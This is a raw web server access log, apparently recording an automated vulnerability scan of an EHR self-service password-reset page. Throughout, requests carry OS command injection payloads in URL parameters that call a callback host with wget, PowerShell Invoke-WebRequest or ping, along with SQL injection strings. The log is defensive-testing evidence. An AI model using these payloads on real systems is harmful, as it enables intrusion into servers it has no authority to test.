[05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D76&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D76&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D77&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D77&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26%26+ping+-c+1+v3-ping-80-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26%26+ping+-c+1+v3-ping-80-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D83&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D83&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D85&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D85&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS1+having+1%3D1--+ HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS1+having+1%3D1--+ HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C+ping+-c+1+v3-ping-86-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C+ping+-c+1+v3-ping-86-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D89%60&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D89%60&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D90&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D90&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\\'%20having%201=1--%20 HTTP/1.1" 200 6691 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\\'%20having%201=1--%20 HTTP/1.1" 200 6691 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3B+ping+-c+1+v3-ping-94-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3B+ping+-c+1+v3-ping-94-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:10 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D96&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D96&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - 